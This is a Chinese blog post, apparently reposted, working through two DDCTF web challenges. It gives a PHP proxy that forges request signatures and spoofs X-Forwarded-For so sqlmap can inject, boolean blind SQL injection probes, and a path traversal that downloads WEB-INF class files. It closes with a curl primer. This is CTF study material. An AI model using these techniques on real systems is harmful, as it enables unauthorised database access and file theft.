复现&&思考 DDCTF web

Web 1 数据库的秘密

题目地址:http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php

Henryzhao师傅的解法

使用 PHP 编写代理页面的方式,对请求进行了代理并签名。之后使用 sqlmap 等通用工具对该 PHP 页面进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

@$id = $_REQUEST['id'];
@$title = $_REQUEST['title'];
@$author = $_REQUEST['author'];
@$date = $_REQUEST['date'];
$time = time();
$sig = sha1('id='.$id.'title='.$title.'author='.$author.'date='.$date.'time='.$time.'adrefkfweodfsdpiru');

$ch = curl_init();

$post = [
'id' => $id,
'title' => $title,
'author' => $author,
'date' => $date,
];

curl_setopt($ch, CURLOPT_URL,"http://116.85.43.88:8080/KREKGJVFPYQKERQR/dfe3ia/index.php?sig=$sig&time=$time");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: 123.232.23.245',
));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);

$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);

http_response_code($ch_info['http_code']);

//echo $header;
echo $body;

自己用python编写一个代理 TO DO:

Wfox师傅的解法

解锁了burpsuite的”新功能”: burpsuite的match and replace

并不知道大佬是如何fuzz测试的,自己的测试流程:

1
2
admin' and 1# 正常显示admin的执行结果
admin' and 0# 显示为空

所以为布尔盲注 判断条件为response body中是否有admin/test的返回结果!

大佬的脚本调试起来还是挺麻烦的,需要修改js,不太适合我,不过里面使用了python的第三方库execjs执行js代码可以学一下,虽然js的功能实际上就是执行了一下sha1函数 :)

附 基础知识

curl

command line tools and libarbry for transferring data with URLs

curl是一种命令行工具,作用是发出网络请求,然后得到和提取数据,显示在”标准输出”(stdout)上面。它支持多种协议,下面介绍它的各种用法

1
2
3
4
5
6
$ curl -o url #保存网页
$ curl -i url #显示头信息
$ curl -v www.sina.com `-v`参数可以显示一次http通信的整个过程,包括端口连接和http request头信息
$ curl -X POST --data "data=xxx" example.com/form.cgi
$ curl --header "Content-Type:application/json" http://example.com #
$ curl --user name:password example.com # HTTP认证

此外,还可以表单编码、文件上传等等

详见:http://www.ruanyifeng.com/blog/2011/09/curl.html

jsbeautifier:js美化工具

Web 2 专属链接

大佬们对html源代码中base64的敏感度好高

1
2
3
<title>滴滴一下,让出行更美好</title>
<link type="image/x-icon" href="http://www.xiaojukeji.com/images/favicon.ico" rel="icon">
<link href="/image/banner/ZmF2aWNvbi5pY28=" rel="shortcut icon">

将链接后面的 base64 解码得到favicon.ico,010 Editor打开图片,发现you can only download .class .xml .ico .ks files,可以判断存在任意文件下载漏洞。

Henryzhao师傅更厉害,直接观察出logo的异常…

另外,在师父的指导下可以通过Github源码泄露找到相似的模板,也就是整个网站的基本结构

Spring的默认配置文件:applicationContext.xml,可以制定配置文件,一般命名为web.xml

从500报错页面中find

com.didichuxing.ctf.controller.user.FlagController.submitFlag(FlagController.java:36)

于是得到对应路径

../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class

使用jd-gui(java反编译)得到java源代码 后面有关java及解密的内容,暂时不感兴趣…

附 基础知识

JVM

JVM:(Java Virtual Machine):能够运行java字节码的虚拟机,实现了java语言最重要的特征,即平台无关性

Java编译器:将java的源文件(.java)编译成字节码文件(.class 是特殊的二进制文件,二进制字节码文件),javac.exe可以简单看作是java的编译器

Java解释器:是JVM的一部分。Java解释器用来解释执行Java编译器编译后的程序。java.exe可以简单看成是Java解释器。

HMAC

​ HMAC(Hash-Based Message Authentication Code) 哈希消息认证码,已一个密钥和一个消息作为输入,生成一个消息摘要作为输出。

原文:大专栏  复现&&思考 DDCTF web


猜你喜欢

转载自www.cnblogs.com/petewell/p/11584609.html
今日推荐